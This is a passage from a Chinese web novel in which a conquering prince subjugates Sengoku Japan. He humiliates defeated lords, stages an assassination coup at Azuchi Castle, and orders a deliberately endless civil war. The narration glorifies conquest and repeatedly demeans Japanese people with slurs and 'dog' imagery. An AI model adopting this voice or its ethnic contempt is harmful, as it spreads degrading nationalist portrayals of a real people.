林臻看着他那副又惊又喜,活像个二傻子的滑稽模样有些好笑地摇了摇头。 “伊达政宗,”他的声音,变得严肃了起来,“本王之所以会把这支军队交给你。不是因为,本王有多信任你。” “而是因为本王需要,一条最凶,也最听话的狗!” “一条能为本王咬遍所有,敢于违抗本王意志的敌人的疯狗!” “而你,”他的目光如同两把锋利的刀子,死死地盯着伊达政宗那只仅剩的独眼,“就是本王选中的那条,最合适的狗!” “你愿意为本王当这条狗吗?” 林臻的这番话说得是极其的不客气。 也极其的侮辱人。 但伊达政宗听完,那张丑陋的脸上非但没有半分的愤怒和屈辱。 反而还露出了一丝,受宠若惊的病态的狂喜! 狗? 疯狗? 好啊! 太好了! 他伊达政宗最喜欢,也最擅长的,就是当一条可以肆无忌惮地咬人的疯狗! 只要能让他重新拥有那可以掌控别人生死的无上权力! 别说是当狗了! 就算是让他当一条,最卑贱的只会摇尾乞怜的哈巴狗! 他也心甘情愿! “汪!汪汪!” 他想也不想地,便“噗通”一声,重重地跪倒在地! 然后他学着狗的样子,伸出舌头无比谄媚地,舔了舔林臻的战靴。 那卑微的毫无尊严的丑陋模样。 看得一旁同样是被召来议事的,明智光秀和丹羽长秀,都是一阵莫名的心底发寒。 他们看着眼前这个,已经彻底沦为了权力的奴隶的,昔日的“奥州独眼龙”。 心中那最后的一丝属于倭国武士的所谓的“骄傲”和“尊严”。 也彻底地烟消云散。 他们知道从这一刻起。 这个小小的倭国将彻彻底底地,沦为眼前这个比魔鬼还要可怕的,东方王爷的私人游乐场。 而他们这些,所谓的“倭国新贵”,也不过是他在这场残酷的游戏之中,所豢养的一群随时可以被牺牲和抛弃的可怜的宠物罢了。 “很好。” 第1247章 东瀛都护府 林臻看着那正跪在地上,对自己疯狂摇尾乞怜的伊达宗,脸上露出了一丝满意的笑容。 他知道自己这盘以整个倭国为棋盘的大棋。 最关键的一颗棋子,已经落下了。 接下来就是见证奇迹的时刻了。 “传我的令!” 他的声音变得冰冷而又充满了,不容置疑的绝对的霸气! “即日起!” “倭国正式更名为我大乾帝国的,‘东瀛都护府’!” “由摄政关白明智光秀,五奉行之首丹羽长秀,共同执掌都护府的一切,内政要务!” “由仆从军大将军伊达政宗,统领十万仆从军,负责镇压都护府境内一切敢于反抗我大乾天威的叛乱分子!” “而你们的第一个,也是唯一的一个任务,就是——” 他的目光缓缓地扫过,那三个早已是被他,那神鬼莫测的手段给吓破了胆的倭国降臣。 嘴角勾起了一抹,冰冷的充满了无尽杀伐之意的残忍弧度。 “——战争!” “我要你们立刻以‘东瀛都护府’的名义!” “向那还在负隅顽抗的德川秀忠的‘关东联军’!” “向那一直对我们虎视眈眈的北条家的‘相模水师’!” “向那盘踞在九州岛上,自立为王的,岛津家的‘萨摩隼人’!” “向所有还敢在这片土地上,自立为王,不尊我大乾号令的地方大名!” “全面宣战!” “我要你们用最血腥,也最残酷的方式去进行一场永无休止的,统一战争!” “我要让这小小的倭国彻底地,陷入一场永无宁日的内战泥潭!” “我要让这里,变成一个巨大无比的,血肉磨盘!” “将所有敢于反抗和所有潜在的不安因素,都给我彻彻底底地磨成齑粉!” “而我大乾的舰队则将永远地,停泊在你们的港口之外。” “冷眼旁观着你们这些,可怜的虫子们是如何为了那点可怜的权力和土地而相互撕咬相互残杀!” “直到你们流尽最后一滴血。” “直到你们为我们,贡献出你们的所有的一切!” “你们听明白了吗?!” 林臻的这番充满了血腥、疯狂,和赤裸裸的黑暗森林法则的惊天宣言。 像一场来自于九幽地狱的,冰冷的死亡风暴! 瞬间席卷了整个安土城的天守阁! 让明智光秀、丹羽长秀,和那刚刚才被“册封”为大将军的伊达政宗。 这三个自以为已经,攀上了权力巅峰的倭国“新贵”。 都在这一瞬间如坠冰窟,浑身发冷,头皮发麻! 他们终于彻彻底底地明白了。 这位比魔鬼还要可怕的东方王爷。 他根本就没打算要给他们倭国留任何的活路! 他要的不是一个统一的,繁荣的,向他称臣纳贡的藩属国。 他要的是一个远分裂,永远动乱,永远都在流血的半死不活的殖民地! 一个可以为他源源不断地提供财富、兵源,和练兵场的巨大血肉工厂! 太……太狠了! 也太……太毒了! 这已经不是简单的征服和统治了。 这是一种从根源上,从灵魂上,对一个民族进行的最彻底阉割和奴役! 他们完了。 整个倭国都完了。 在绝对的降维打击的力量面前。 在绝对的算无遗策的,神级智慧面前。 他们这些所谓的“枭雄”和“霸主”,不过是一群可怜又可笑的跳梁小丑罢了。 “微臣……遵……遵命……” 在经历了长久的,死一般的寂静和绝望之后。 明智光秀第一个,从那巨大的恐惧之中反应了过来。 他用一种充满了无尽的,苦涩和认命的沙哑声音。 代表着整个倭国向这位,来自于东方的无上魔神。 献上了他们最后的,也是最卑微的忠诚。 ...... 安土城,天守阁。 这座象征着织田信长最高权力的天下第一坚城,此刻依旧是灯火通明,一派歌舞升平的景象。 织田信长最信任的几位心腹重臣,明智光秀、丹羽长秀、泷川一益等人,正在这里,一边饮酒作乐,一边等待着他们那位“天下人”主公的归来。 他们丝毫没有察觉到,一张由死亡和背叛所编织而成的巨大蛛网,早已将他们,和这座看似固若金汤的坚城,都给牢牢地笼罩了进去。 “报——” 就在这时,一名负责城门守卫的武士,连滚带爬地冲了进来。 “启禀各位大人!不好了!” “城外……城外发现大批不明身份的敌军!正向我安土城,高速靠近!” “什么?!” 此言一出,整个天守阁瞬间陷入了一片死寂! 所有正在饮酒作乐的武将们,全都像是被施了定身法一样,呆呆地愣在了原地。 敌军? 哪里来的敌军? 德川家康不是已经被那支神秘的天朝舰队给灭了吗? 难道是德川家的余孽? 不可能! 就凭他们那群丧家之犬,怎么可能还有胆子,敢来进攻他们这固若金汤的安土城?! “慌什么?!” 就在所有人都惊疑不定的时候,一个沉稳而又充满了威严的声音,响了起来。 说话的,是织田信长麾下的第一猛将,也是他最信任的亲卫队长泷川一益。 他缓缓地从座位上站了起来,那张总是充满了自信和骄傲的脸上,没有半分的慌乱。 “区区一些乱匪罢了,何足挂齿?” “传我的令!全城戒备!弓箭手,铁炮手,全都给我上城墙!” “我倒要看看,是哪个不长眼的家伙,敢在我织田家的地盘上撒野!” 然而,就在他,还想凭着安土城的坚固城防,做困兽之斗时。 一个冰冷的,如同来自九幽地狱的死亡之音,却突然在他的身后,缓缓响起。 “不必了,泷川大人。” “因为你的敌人已经来了。” 泷川一益的身体,猛地一僵! 他霍然回头! 正好看到了他那位一向是忠心耿耿,算无遗策的“好同僚”——明智光秀,正一脸微笑地看着他。 而在明智光秀的手中,还拿着一把沾满了鲜血的冰冷武士刀。 刀尖之上一滴滴殷红的鲜血正缓缓地滴落。 “明智……你……” 第1248章 安土城的天变了 泷川一益的瞳孔猛地一缩! 一股极其不祥的预感,瞬间涌上了他的心头! 然而,他那充满了震惊和不解的质问,却永远也说不出口了。 因为,另一把同样是冰冷而又锋利的武士刀,早已从他的身后,悄无声息地刺穿了他那颗,自以为是忠心耿耿的心脏。 “呃……” 他艰难地低下头,看着自己胸口那,透体而出的,冰冷的刀尖。 那双充满了难以置信的眼睛里,最后看到的是他另一位“好同僚”——丹羽长秀,那张充满了冷酷和决绝的脸。 他想不明白。 他真的想不明白。 为什么? 为什么这两个平日里与他称兄道弟,对他言听计从的“好兄弟”,会突然对他下此毒手? 然而这个问题的答案,他注定是永远也得不到了。 “噗通”一声。 这位织田家第一猛将的身体,重重地倒在了地上,那双死不瞑目的眼睛里,充满了无尽的不甘和迷茫。 而随着他的倒下。 整个天守阁瞬间陷入了一片血腥的混乱之中。 无数身穿黑色夜行衣的神秘忍者,如同从地狱里爬出来的鬼魅,悄无声息地出现在了大殿的每一个角落。 他们手中的武器,冰冷而又致命。 对着那些,还在惊愕和呆滞之中的,织田家的死忠武将们,展开了一场,毫无悬念的,单方面的屠杀! …… “黑珍珠号”之上。 慕容嫣静静地站在船长室的窗边,遥遥地望着远处那座,在夜色之中依旧是灯火通明的雄伟巨城。 突然那座巨城的正中心,也是最高处的天守阁,那原本明亮的灯火猛地熄灭了。 紧接着一朵巨大而又璀璨的红色烟花,在天守阁的上空轰然炸响! 将整个漆黑的夜空,都映照成了一片刺眼的血红! 慕容嫣看着那朵在夜空中显得格外妖艳的血色烟花。 那张一直都是紧绷着的,充满了担忧和不安的绝美俏脸之上,终于绽放出了一抹发自内心的,无比灿烂的胜利笑容! 她知道,她的男人又一次创造了奇迹! 她身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了她内心的狂喜和骄傲。 那极致玄黑的苏锦底料,在这一刻,仿佛变成了一片,可以包容整个天下的,浩瀚星空! 而那朵血色的烟花,就是这片星空中最璀璨,最耀眼的那一颗! 那只用真金线绣成的擎天巨凤,更是凤目圆睁,引吭高歌! 仿佛在向全世界宣告,这座所谓的“天下第一坚城”,从今夜起,将迎来它新的主人! ...... 安土城的天变了。 一夜之间,这座象征着织田信长无上权力的“天下第一坚城”,就换了主人。 当第二天清晨的阳光,照亮这座雄伟的城市时,所有安土城的居民都惊恐地发现,飘扬在天守阁顶端的,不再是织田家的“木瓜纹”家徽,而是一面他们从未见过的,绣着一只栩栩如生的,黑金色凤凰的巨大战旗! 整个安土城都陷入了一片死寂般的恐慌和不安之中。 各种各样的流言蜚语,开始在城市的每一个角落里疯狂地蔓延。 有的人说是德川家的余孽,勾结了海对岸的天朝人杀了主公,夺了城池。 有的人说是明智光秀大人,发动了兵变取而代之,成为了新的“天下人”。 甚至还有人说,是那传说中的“第六天魔王”因为杀戮太重,触怒了神明,所以降下了天罚,将他和他的城池,都在一夜之间,化为了灰烬。 然而就在所有人都人心惶惶,不知所措的时候。 安土城那紧闭了一夜的主城门缓缓地打开了。 一队队身穿黑色铠甲,手持着倭国人连见都没见过的,最新式的燧发枪的神秘军队,迈着整齐划一的步伐,如同一股黑色的钢铁洪流,缓缓地驶入了城中。 他们的军容是如此的严整!他们的气势是如此的肃杀! 以至于所有看到他们的倭国百姓,都像是被施了定身法一样,呆呆地愣在了原地,连大气都不敢喘一口。 他们从未见过如此可怕的军队! 那冰冷的铠甲,那整齐的步伐,那充满了死亡气息的黑色枪口,都像是一座座无形的大山,狠狠地压在他们的心上,让他们连一丝一毫的反抗念头都生不出来! 而在这支如同魔神降世一般的恐怖军队的正中央。 是一辆由八匹神骏的汗血宝马拉着的,无比奢华,也无比巨大的黄金马车。 马车的车帘,是掀开的。 所有安土城的百姓,都能清清楚楚地看到,马车里所坐着的那两个人。 一个,是穿着一身墨色麒麟战袍,虽然脸色还有些苍白,但身上那股睥睨天下,舍我其谁的无上霸气,却足以让日月都为之失色的,英俊得不似凡人的年轻男子。 而另一个,则是慵懒地依偎在他的怀里,穿着一身极致玄黑,上面用真金线绣着一只擎天巨凤的华贵长裙,那张美得足以让世间所有女子都为之嫉妒的绝美脸庞之上,带着一丝母性的温柔和君临天下的威严的年轻女子。 他们就像是一对,从九天之上,降临凡尘的神仙眷侣。 那无与伦比的绝世风采,和那与生俱来的,令人不敢直视的高贵气场。 瞬间便征服了,在场所有倭国人的心! “天……天啊……” “那……那就是,传说中的,天朝上国的皇帝和皇后吗?” “他们……他们简直比画里画出来的神仙,还要好看……” “黑龙……黑龙降世……天下归一……那个古老的预言……竟然是真的……” 在经历了短暂的死一般的寂静之后。 人群之中不知是谁,第一个反应了过来,“噗通”一声,便重重地跪倒在了地上。 紧接着,就像是推倒了第一块多米诺骨牌一样。 街道两旁所有安土城的百姓,全都争先恐后地,齐刷刷地跪了下来! 他们用一种近乎于朝圣般的,无比虔诚的姿态,对着那辆缓缓驶来的黄金马车,拼命地磕着头。 那山呼海啸般的,充满了敬畏和崇拜的声音,响彻了整个安土城的上空! “恭迎天朝皇帝陛下!皇后陛下!” “我等愿降!愿永世为奴!只求陛下开恩!饶我等一命!” 马车之上。 慕容嫣看着窗外那黑压压的一片,跪倒在地的倭国百姓。 那张绝美的俏脸之上,露出了一丝,充满了欣慰和骄傲的笑容。 她知道,她和她的夫君,又一次成功了。 第1249章 这个世界本就是如此 他们兵不血刃地拿下了这座,号称“天下第一坚城”的超级战争堡垒。 也彻彻底底地征服了这座城市里,所有人的心。 她身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了,这份兵不血刃的胜利的喜悦。 那极致玄黑的苏锦底料,在安土城那充满了异域风情的街道之上,显得格外的庄重和威严。 那只用真金线绣成的擎天巨凤,更是凤目含笑,充满了君临天下的仁慈和宽厚。 仿佛在向这些,刚刚才臣服于它的新子民们,宣告着一个全新时代的到来。 “夫君,”她将头,轻轻地靠在林臻的肩膀上,声音里带着一丝,连她自己都未曾察觉的感慨,“你说我们是不是太坏了?” “就这么把人家辛辛苦苦建立起来的霸业,给轻而易举地夺了过来。” “坏吗?”林臻闻言,却是笑了。 他伸出手轻轻地将她揽入怀中,那双深邃的眼睛里充满了宠溺和温柔。 “我的傻嫣儿你到现在还不明白吗?” “这个世界本就是如此。” “成王败寇,弱肉强食。” “我们今天若是不夺了他的霸业,那么明天,他就会来夺我们的江山。” “我们只是在他们之前,做出了那个最正确的选择罢了。” 他说着便将目光,投向了远处那座已经插上了他们大乾龙凤战旗的雄伟天守阁。 那双深邃的眼睛里闪过了一丝,冰冷的不容置疑的霸道。 “从今天起,这座城姓林了。” ...... 安土城的天守阁,那间曾经属于织田信长的,无比奢华的议事大厅里。 林臻和慕容嫣并肩坐在了那张,由一整块巨大的金丝楠木,所打造而成的,象征着“天下人”无上权力的主位之上。 而在他们的下方,则是以明智光秀、丹羽长秀,和那个刚刚才戴罪立功的佐久间盛政为首的,所有织田家的降将。 以及以岳飞、伊丽莎白,和棋牌佛为首的,所有大乾东征军的高级将领。 整个大厅的气氛庄重而又肃杀。 所有人的目光都聚焦在了那对,坐在主位之上,如同神仙眷侣一般的东方帝后身上。 他们的眼神里充满了敬畏、崇拜,和一丝深深的好奇。 他们都想知道这对以雷霆之势,在短短几天之内就颠覆了整个倭国格局的传奇帝后。 接下来又会有什么惊世骇俗的神仙操作。 “诸位。” 许久林臻才缓缓地开口打破了这令人窒息的沉默。 他的声音不大但却又清晰地传遍了大厅的每一个角落。 “织田信长已死,安土城已破。” “从今日起这倭国,便是我大乾帝国不可分割的一部分。” “所有倭国子民皆是我大乾子民。” “所有倭国土地皆是我大乾国土。” “凡我大乾律法所及之地,尔等皆需,一体遵从!” “若有不从者或心怀异志者。” “那织田信长的今天,便是你们的明天!” 他这番充满了霸道和警告意味的开场白,让在场所有倭国降将的心,都是猛地一凛! 他们知道眼前这位,看似温文尔雅的年轻王爷,绝非是他们想象中的那种仁慈的君主。 他是一头真正的,吃人不吐骨头的过江猛龙! “当然,”林臻的话锋一转,那张英俊的脸上又露出了一丝和煦的如同春风一般的笑容,“本王向来是,赏罚分明。” “有功者必赏!” “有过者必罚!” “此次攻取安土城,明智光秀、丹羽长秀、佐久间盛政,三人居功至伟!” “本王决定!” “封明智光秀为我大乾驻倭国第一任‘总督’!总领倭国一切军政要务!赐金千两良田万亩!” “封丹羽长秀为,我大乾驻倭国第一任‘财政大臣’!负责掌管倭国所有钱粮税收!赐金八百两,良田八千亩!” “封佐久间盛政为,我大乾驻倭国第一任‘安土城城主’!负责镇守安土城,维护京畿治安!赐金五百两,良田五千亩!” 林臻的这番封赏,像一颗颗重磅炸弹,瞬间便在大厅之内引爆了! 所有倭国降将都用一种充满了羡慕、嫉妒,和一丝丝不甘的复杂目光看着那三名被点到名字的“幸运儿”。 而明智光秀三人,更是激动得浑身都在发抖! 他们怎么也没想到这位天朝王爷,竟然会如此的大方! 如此的有魄力! 一上来就将整个倭国最重要的三个职位,全都交给了他们这些刚刚才投降的“外人”! 这份信任! 这份器重! 让他们那颗,原本还因为背叛了旧主,而有些不安和忐忑的心,瞬间便被一股前所未有的巨大的感动和士为知己者死的冲动,所彻底填满! “臣等……叩谢王爷天恩!” 他们三人,再也没有任何的犹豫,“噗通”一声,便重重地跪倒在地,用一种发自灵魂深处的绝对的忠诚和敬畏,对着林臻和慕容嫣行了一个五体投地的大礼! “愿为王爷,为陛下,为我大...大乾帝国,肝脑涂地!万死不辞!” 林臻看着跪在地上,感激涕零,就差指天发誓要给自己当狗的三人,脸上露出了一个满意的笑容。 他知道,自己这招“千金买马骨”的阳谋,算是成功了。 他就是要当着所有倭国降将的面,用这种最直接,也最赤裸裸的方式,来告诉他们。 跟着我林臻混,有肉吃! 只要你们肯忠心耿耿地为我办事,那高官厚禄,金钱美女,我林臻一样都不会少了你们的。 但谁要是敢跟我耍花样,玩心眼。 那织田信长那具,现在还挂在城头上示众的焦黑尸体,就是你们最好的榜样! 果然在明智光秀三人,那充满了狂喜和得意的“现身说法”之下。 大厅之内所有原本还各怀鬼胎,心思摇摆不定的倭国降将们,那看向林臻的眼神都变了。 那眼神里不再有怀疑和不甘。 只剩下了赤裸裸的,充满了贪婪和野心的狂热! 他们一个个都像是闻到了血腥味的鲨鱼,争先恐后地跪倒在地,拼了命地向林臻和慕容嫣表着自己的忠心。 “王爷!陛下!小人毛利辉元,愿率我毛利家十万大军,为二位殿下,扫平整个关西!” “王爷!陛下!小人上杉景胜,也愿献上我越后国所有的土地和子民,只求能追随二位殿下,建立不世之功业!” “还有我!还有我!王爷,您看看我!我长宗我部元亲,水性最好!我愿为您的大乾皇家海军,当一名最卑微的马前卒!” 第1250章 帮我们去见一个人 看着眼前这群,前一刻还自诩为一方豪强,下一刻就变成了摇尾乞怜的哈巴狗的,所谓的“倭国英雄”们。 伊丽莎白那双蓝宝石般的眼眸之中,充满了毫不掩饰的鄙夷和不屑。 她现在算是看明白了。 这帮所谓的倭国武士,根本就没有什么所谓的“武士道精神”。 他们信奉的只有最原始,也最赤裸裸的丛林法则。 谁的拳头大,谁就是他们的爹。 而现在毫无疑问,林臻和慕容嫣就是他们唯一的也是最强大的爹。 她转过头,看了一眼那个坐在主位之上一脸云淡风轻,仿佛眼前这一切都在他意料之中的,年轻的东方王爷。 那双蓝色的眼眸之中闪过了一丝,极其复杂的充满了敬畏、好奇,和一丝丝连她自己都未曾察及的,爱慕的光芒。 她发现,自己真是越来越看不透,也越来越沉迷于这个总是能将人心和人性都玩弄于股掌之间的绝世魔鬼了。 “好了,都起来吧。” 林臻看着殿下那黑压压的一片,跪倒在地的身影淡淡地挥了挥手。 “诸位的忠心,本王和陛下都看到了。” “只要尔等能真心实意地,为我大乾效力。” “本王保证,今日明智光秀他们三人的荣华富贵,就是你们所有人的明天。” “谢王爷天恩!” 所有倭国降将再一次,山呼海啸般地齐声谢恩。 那声音里充满了发自肺腑的狂热和激动。 “岳飞。” 林臻的目光,落在了那个,从始至终,都一言不发,只是静静地站在一旁冷眼旁观的年轻将军身上。 “末将在!” 岳飞出列,躬身领命。 “本王命你即刻从这些降将之中,挑选出五万名,最精锐也最悍不畏死的武士。” “将他们收编为我大乾东征军的‘仆从军’。” “由你亲自担任这支仆从军的统帅!” “然后,”他的声音,变得冰冷而又充满了杀伐之意,“本王给你一个月的时间!” “朕要你率领这支仆从军,配合伊丽莎白提督的海军舰队。” “给朕将整个倭国,所有还在负隅顽抗不肯归降的势力,全都给朕从地图上彻底地抹去!” “尤其是那个盘踞在九州岛的岛津家!” “本王听说他们家的铁炮队号称是‘天下第一’?” “哼,本王倒要看看,是他们的铁炮厉害。” “还是我们神机营的燧发枪,更胜一筹!” 林臻的这番话,让在场所有倭国降将的心都是猛地一颤! 岛津家! 那可是,盘踞在倭国最南端的九州岛,以悍不畏死和精锐的铁炮队而闻名天下的,超级硬骨头! 他们的家督,岛津义弘,更是一个比织田信长还要更加疯狂和好战的战争狂人! 就在不久之前,他还刚刚以区区三千兵力,就击败了数倍于己的丰后国大名,大友宗麟的数万大军! 创造了倭国战国史上以少胜多的又一个神话! 可以说在织田信长死后,整个倭国最有实力也最有资格,成为新的“天下人”的就是他岛津义弘! 所有人都以为在织田信长死后,这位天朝王爷,会选择用一种,相对温和的手段,来招降纳叛安抚人心。 却没想到他竟然一上来,就直接挑选了,岛津家这块最硬的骨头来啃! 他这是要干什么? 杀鸡儆猴吗? 还是说他真的对自己的神机营,有着如此强大的近乎于盲目的自信? “王爷……” 就连一向是对林臻,言听计从的岳飞,在听到这个命令时,那张古铜色的刚毅脸庞之上,也忍不住浮现出了一抹深深的凝重。 “那岛津家非同一般。其麾下的萨摩武士更是以悍不畏死,和精湛的铁炮战术而闻名天下。” “我军虽然有火器之利,但毕竟是客场作战兵力也不占优。” “若是,贸然与其决战,恐怕……” “没有恐怕。” 林臻却是毫不犹豫地打断了他的话。 他看着岳飞,那双深邃的眼睛里,充满了不容置疑的绝对自信。 “岳飞,你要记住。” “战争从来都不是只靠兵力和装备,就能决定胜负的。” “真正的战争打的是信息,是后勤,是人心。” “而在这三点上,我们都拥有着碾压他们的绝对优势!” 他说着便将目光投向了那个,一直站在角落里自顾自地喝着小酒的邋遢老和尚。 “老前辈,”他的嘴角勾起了一抹狐狸般的狡黠笑容,“您老人家,也该是时候,再帮晚辈一个小忙了吧?” 棋牌佛闻言,撇了撇嘴,一脸不耐烦地说道:“又有什么脏活累活了?先说好,让老夫去跟那帮拿枪的小娃娃们拼命,老夫可不干。” “当然不敢劳烦您老人家亲自动手。”林臻笑了笑,“晚辈这次只是想请您,帮我们去见一个人。” “见人?见谁?”棋牌佛的眼中,闪过了一丝好奇。 “一个能帮我们兵不血刃地,就拿下整个九州岛的关键人物。” 林臻的眼中闪烁着,如同魔鬼一般充满了算计的骇人光芒! “他的名字叫,千利休。” 千利休? 听到这个名字,在场所有的倭国降将全都愣住了。 他们怎么也没想到,王爷口中那个能兵不血刃拿下整个九州岛的关键人物,竟然会是这个只知道摆弄茶具,故弄玄虚的老茶头? 这……这不是开玩笑吗? 千利休,在倭国确实是无人不知,无人不晓。 他被誉为“茶圣”,是倭国茶道的集大成者,其所创立的“侘寂茶道”,更是被无数的大名和武士,奉为修身养性的最高圭臬。 就连已经死去的织田信长,和那个现在还盘踞在九州岛的岛津义弘,都对他推崇备至,以能喝到他亲手泡的一杯茶为无上荣耀。 可以说他在倭国上流社会的影响力,确实是无人能及。 但是影响力归影响力。 这跟打仗有什么关系? 难道他还能用一杯茶,就让那以悍不畏死著称的数万萨摩武士,全都放下武器缴械投降不成? 所有倭国降将都用一种,极其古怪的眼神看着林臻。 他们觉得这位天朝王爷,是不是把他们倭国的战争想得太儿戏了? 然而面对着众人那充满了怀疑的目光。 林臻的脸上,却是没有半分的动容。 第1251章 无法拒绝的见面礼 他只是静静地看着那个,同样是一脸困惑的邋遢老和尚。 “老前辈,”他嘴角勾起了一抹高深莫测的笑容,“您可别小看了这位茶圣。” “他手中的那杯茶,可远比您想象的要厉害得多。” “哦?”棋牌佛闻言,倒是来了兴致。 他虽然不通茶道,但他却知道,能被林臻这个小怪物,如此推崇的人,就绝不可能是什么简单的角色。 “小子,你倒是说说看,他那杯茶到底厉害在何处?” “很简单。”林臻的眼中闪烁着如同狐狸一般的狡黠光芒。 “因为,他那杯茶里藏着所有倭国大名,都梦寐以求却又永远也得不到的两样东西。” “哦?是哪两样?” “第一,”林臻伸出了一根手指,“是,雅。” “第二,”他又伸出了第二根手指,“是,权。” “雅?权?” 棋牌佛和在场的所有人,都听得是一头雾水。 “没错。”林臻点了点头,开始了他那充满了“忽悠”和“洗脑”的,神仙操作。 “诸位可以想一想,你们倭国这些所谓的大名和武士,其本质是什么?” “说白了,不过是一群靠着打打杀杀抢地盘,抢女人,才爬上来的泥腿子罢了。” “你们虽然拥有了财富和权力,但你们的骨子里却依旧是粗鄙不堪的暴发户。” “你们渴望得到上流社会的认可,渴望摆脱自己身上那股,洗不掉的泥土味。” “所以,你们才会不惜一掷千金,去追捧那些在你们看来,充满了‘雅’趣的虚无缥缥的东西。” “比如茶道,花道,香道。” “比如那些来自于我大乾的精美瓷器,华丽的丝绸,和那些你们根本就看不懂的书法字画。” “而千利休,这位被你们奉为‘茶圣’的老先生,就是利用了你们这种,可悲又可笑的附庸风雅的虚荣心。” “他用他那套所谓的‘侘寂茶道’,为你们构建了一个,看似高雅实则虚伪的精神世界。” “他让你们以为,只要喝了他泡的茶,只要学会了他那套,故弄玄虚的繁琐礼仪你们就能,脱胎换骨,洗去自己身上的铜臭味成为一个真正的高雅之士。” “何其的可笑!何其的悲哀!” 林臻的这番话,如同最锋利的刀子,一刀一刀地,将所有倭国降将那虚伪的面具和那可怜的自尊,都给剥得干干净净体无完肤! 让他们一个个都面红耳赤,羞愧得无地自容。 是啊。 他们虽然不愿承认但他们却又不得不承认。 王爷说的每一个字,都戳中了他们内心最深处,也最不愿意被人触碰的那个痛点。 他们就是一群想要拼命挤进上流社会,却又永远也摆脱不了自身阶级烙印的可怜虫。 “而这还只是其一。” 林臻的声音变得愈发地充满了魔鬼般的诱惑力。 “千利休所掌握的远不止是,定义‘雅’的权力。” “他更掌握着一种,比‘雅’,还要更加可怕,也更加致命的权力。” “那就是定义‘对’与‘错’的权力!” “他被你们奉为‘茶道宗师’,‘天下第一的审美家’。” “他的每一句话,每一个评价,在你们看来都如同圣旨一般,不容置疑。” “他说哪个茶碗好,哪个茶碗就能在瞬间身价百倍,被你们争相抢购。” “他说哪个大名有品位,懂生活。哪个大名就能在整个上流社会收获无数的赞誉和追捧。” “反之他若是说谁,粗鄙不堪,不懂风雅。那个人就会立刻被整个上流社会所排挤和孤立,成为人眼中的笑柄。” “你们说,”他的目光,如同两把锋利的冰刀缓缓地扫过,殿内那一张张早已是写满了震惊和骇然的脸。 “这样一个人他手中的权力,难道还不够大吗?” “这样一个人他若是想让谁死,还需要,亲自动手吗?” “他只需要在某一次的茶会上,看似无意地说一句。” “‘岛津家的那位,最近似乎是,有些得意忘形,连茶都喝得,没那么有味道了。’” “你们觉得那些一直对岛津家,虎视眈眈的,其他的九州大名们在听到这句话后会怎么做?” “他们会像一群闻到了血腥味的鲨鱼一样,毫不犹豫地扑上去将那早已被孤立的岛津家,给撕成碎片!” “而千利休,自始至终都只是一个在旁边安静地喝着茶的,与世无争的老茶头罢了。” “这就叫杀人于无形!” “这才是真正的帝王心术!” 林臻的这番堪称是“诛心之言”的,神级分析。 让在场的所有人都听得是,头皮发麻脊背发凉! 他们看着那个坐在主位之上,一脸云淡风轻,仿佛在说一件微不足道的小事的年轻王爷。 第一次发自灵魂深处地,感觉到了一种名为“恐惧”的情绪! 他们这才明白。 原来真正的杀戮,从来都不是用刀剑。 而是用人心! 而眼前这个年轻得有些过分的东方王爷,无疑是这个世界上,最懂得如何利用“人心”这把,最锋利也最致命的武器的绝世魔神! 就连一向是天不怕地不怕的棋牌佛,在听完林臻的这番分析之后,那双浑浊的老眼里也忍不住,闪过了一丝深深的忌惮。 他突然觉得自己这次跟着这个小怪物,来倭国或许并不是一个明智的选择。 因为他感觉自己这上千年来,所积攒的那点所谓的“智慧”和“算计”,在这个小怪物的面前,简直就像是,幼儿园的小朋友在跟一个最顶尖的数学教授比谁算的题快一样。 完全就不是一个量级的。 “小子……”他看着林臻,声音沙哑地说道,“你……你到底还想让老夫帮你做什么?” 他知道,林臻跟他说这么多,就绝不仅仅只是为了向他炫耀自己的“聪明才智”。 他一定还有,更深也更歹毒的后手! “很简单。” 林臻的脸上又一次,露出了那个魔鬼般的邪魅笑容。 “晚辈想请您老人家,代替我去见一见这位茶圣大人。” “然后再替我送他一份,他绝对无法拒绝的见面礼。” 第1252章 曜变天目碗 “见面礼?什么见面礼?”棋牌佛的眉头皱了起来,他总觉得这小子肚子里没憋什么好屁。 “一份能让他心甘情愿地,为我们所用的见面礼。” 林臻的嘴角勾起了一抹,高深莫测的弧度。 他一边说着一边从怀里,取出了一样东西。 那是一只看起来平平无奇,甚至有些陈旧的小小青瓷茶碗。 当在场所有倭国降将,看到这只茶碗的瞬间他们的呼吸,全都在这一刻停滞了! 他们那双,充满了贪婪和震惊的眼睛,死死地盯着那只茶碗,仿佛看到的不是一只茶碗,而是一个足以让整个世界,都为之疯狂的绝世的脱光了衣服的美人! “这……这是……曜变天目碗?!” “而且还是天下第一的那只,稻叶天目?!” 明智光秀,这位刚刚才被册封为“倭国总督”的,织田信长曾经的首席谋臣,第一个失声惊呼了出来! 他的声音里充满了无法用言语来形容的,极致的震惊和狂热! 作为一名,自认为对茶道和古董,都颇有研究的“风雅之士”。 他比在场的任何一个人都更加清楚,眼前这只小小的茶碗到底意味着什么! 曜变天目碗! 那可是来自于遥远的大宋帝国,早在数百年前,就已经失传了的,传说中的,神之器物! 其烧制工艺,早已失传。 存世的不过区区三只。 而眼前这只碗内壁上,那如同浩瀚宇宙中的,璀璨星辰一般的,七彩斑斓的曜变光斑更是三只之中,最完美也最梦幻的一只! 它曾是足利义满将军的珍藏。 后来又流落到了三好长庆的手中。 最终被织田信长,用一座城池的代价才从三好长庆的后人手中换了过来。 成为了他彰显自己“天下人”身份的,最重要的象征之一! 可以说这只小小的茶碗,在所有倭国大名的眼中,其价值早已是超越了金钱和权力。 它是一种身份,地位,和品味的最高象征! 是所有“风雅之士”都梦寐以求的终极梦想! 可现在这只本该是,被织田信长珍藏在安土城最深处的绝世宝物。 竟然就这么平平无奇地,出现在了这位天朝王爷的手中! 而且他竟然,还想把这只价值连城的“天下第一碗”,就这么随随便便地,送给一个只知道喝茶的老头子?! 这……这简直是暴殄天物啊! 所有倭国降将的心都在滴血。 他们看着林臻手中那只茶碗的眼神,充满了赤裸裸的,恨不得立刻就扑上去将其据为己有的,疯狂的贪婪! 然而林臻却像是,根本没有看到他们那快要喷出火来的眼神一般。 他只是静静地把玩着手中那只,在他看来不过是一个烧得还算不错的漂亮小碗。 然后他将目光投向了那个,同样是一脸震惊和不解的邋遢老和尚。 “老前辈,”他的声音里,带着一丝让人捉摸不透的笑意,“现在您觉得我这份见面礼分量够了吗?” 棋牌佛沉默了。 他虽然不懂什么狗屁的茶道,也不懂这只破碗,到底有什么了不起的。 